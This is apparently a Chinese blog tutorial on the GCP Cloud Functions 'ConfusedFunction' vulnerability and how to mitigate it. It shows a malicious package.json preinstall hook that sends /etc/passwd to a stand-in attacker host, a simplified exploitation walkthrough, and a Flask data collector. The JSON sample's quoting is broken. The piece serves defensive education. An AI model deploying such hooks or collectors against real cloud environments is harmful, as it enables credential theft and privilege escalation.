轻松理解GCP云函数“ConfusedFunction”漏洞及防护实战指南

116 阅读4分钟

Google云平台(GCP)的Cloud Functions是无服务器计算服务,能根据事件自动执行代码,比如HTTP请求或数据变动。近期安全研究发现,Cloud Functions与Cloud Build服务存在一个严重漏洞,攻击者可借此提升权限,执行恶意代码。本文用最简单的语言介绍该漏洞的原理、攻击过程、影响及防护措施,并附上示例代码,帮助大家快速理解和防御。


1. 基础知识介绍

什么是Cloud Functions和Cloud Build?

  • Cloud Functions:一种无服务器计算服务,用户上传代码,系统自动运行,无需管理服务器。
  • Cloud Build:自动构建和部署代码的CI/CD服务,Cloud Functions部署时会调用它。

漏洞核心点

当用户创建或更新Cloud Function时,GCP后台会自动启动一个Cloud Build实例来构建和部署代码。这个过程中,系统会自动给Cloud Build实例分配一个默认的Cloud Build服务账号(Service Account,简称SA) ,该账号权限过大。

攻击者如果能创建或更新Cloud Function,就能利用这个部署过程,通过注入恶意代码,获取这个高权限服务账号的访问令牌,从而在云环境中横向移动或提升权限。


2. 攻击原理简述

攻击者利用Cloud Function部署时执行的package.json文件中的preinstall脚本,注入恶意命令。部署时,这些命令会自动执行,攻击者可以:

  • 读取云环境敏感信息(如操作系统版本、用户权限、网络配置等)
  • 获取Cloud Build服务账号的访问令牌
  • 发送数据到攻击者控制的服务器,实现数据泄露

攻击流程示意

  1. 攻击者创建或更新一个Cloud Function,修改其中的package.json,加入恶意preinstall脚本。
  2. 部署Cloud Function时,Cloud Build执行preinstall脚本,运行恶意命令。
  3. 恶意命令获取服务账号令牌或系统信息,发送到攻击者服务器。
  4. 攻击者利用令牌进行权限提升或进一步攻击。

3. 典型恶意package.json示例

{
  "name": "malicious-package",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "curl -X POST -d "$(cat /etc/passwd)" https://attacker-server.com/collect"
  }
}
  • preinstall脚本会在包安装前执行。
  • 这里的命令读取了Linux系统的/etc/passwd文件(包含用户信息),并通过HTTP POST发送到攻击者服务器。

4. 实战演示:如何利用该漏洞(简化版)

假设你有权限创建或更新Cloud Function,攻击步骤如下:

环境准备

  • 在GCP上创建一个Cloud Function,使用Node.js环境。
  • 修改package.json,加入恶意preinstall脚本。

部署命令示例

gcloud functions deploy myFunction --runtime nodejs20 --trigger-http --entry-point=myFunction

部署时,Cloud Build会执行package.json中的脚本,恶意代码被执行。

服务器端接收数据示例(Python)

from flask import Flask, request

app = Flask(__name__)

@app.route('/collect', methods=['POST'])
def collect():
    data = request.data.decode('utf-8')
    print("Received data:", data)
    return "OK", 200

if __name__ == '__main__':
    app.run(port=5000)

攻击者启动此服务器接收被窃取的数据。


5. 影响范围

  • 该攻击不仅影响GCP Cloud Functions,也可在AWS Lambda和Azure Functions等云平台复现。
  • 攻击者能获取服务账号权限,访问云资源,窃取敏感数据,甚至控制整个云环境。
  • Google已于2024年中旬发布补丁,限制默认Cloud Build服务账号权限,但老实例仍有风险。

6. 防护和缓解措施

1. 最小权限原则(Least Privilege)

  • 不要使用默认Cloud Build服务账号,改用权限严格限制的自定义服务账号。
  • 定期审计服务账号权限,删除不必要的权限。

2. 访问控制

  • 限制谁可以创建或更新Cloud Functions,避免权限滥用。
  • 使用IAM角色严格控制访问。

3. 监控和告警

  • 监控Cloud Functions的创建和修改操作。
  • 设置告警,发现异常行为及时响应。

4. 安全配置和更新

  • 确保Cloud Functions和Cloud Build服务使用最新版本。
  • 启用自动安全更新。
  • 使用Google Cloud的安全工具(如Secret Manager管理敏感信息)。

7. 安全最佳实践示例代码

创建自定义权限最小的服务账号

gcloud iam service-accounts create custom-cloud-build-sa \
  --display-name="Custom Cloud Build Service Account"

gcloud projects add-iam-policy-binding my-project \
  --member="serviceAccount:custom-cloud-build-sa@my-project.iam.gserviceaccount.com" \
  --role="roles/cloudbuild.builds.builder"

部署Cloud Function时指定自定义服务账号

gcloud functions deploy myFunction \
  --runtime nodejs20 \
  --trigger-http \
  --service-account=custom-cloud-build-sa@my-project.iam.gserviceaccount.com

8. 总结

  • GCP Cloud Functions存在“ConfusedFunction”漏洞,攻击者能通过修改部署代码执行恶意命令,获取高权限服务账号令牌。
  • 该漏洞影响多个云平台,风险广泛。
  • Google已发布补丁,但仍需用户主动采取最小权限原则和严格访问控制。
  • 监控、告警和安全更新是防止类似攻击的关键。
  • 通过合理配置服务账号权限和代码安全审查,能有效降低风险。

通过理解上述内容和示例,您可以更好地保护自己的云环境,避免因服务账号权限过大而导致的严重安全事件。安全无小事,务必落实每一个细节。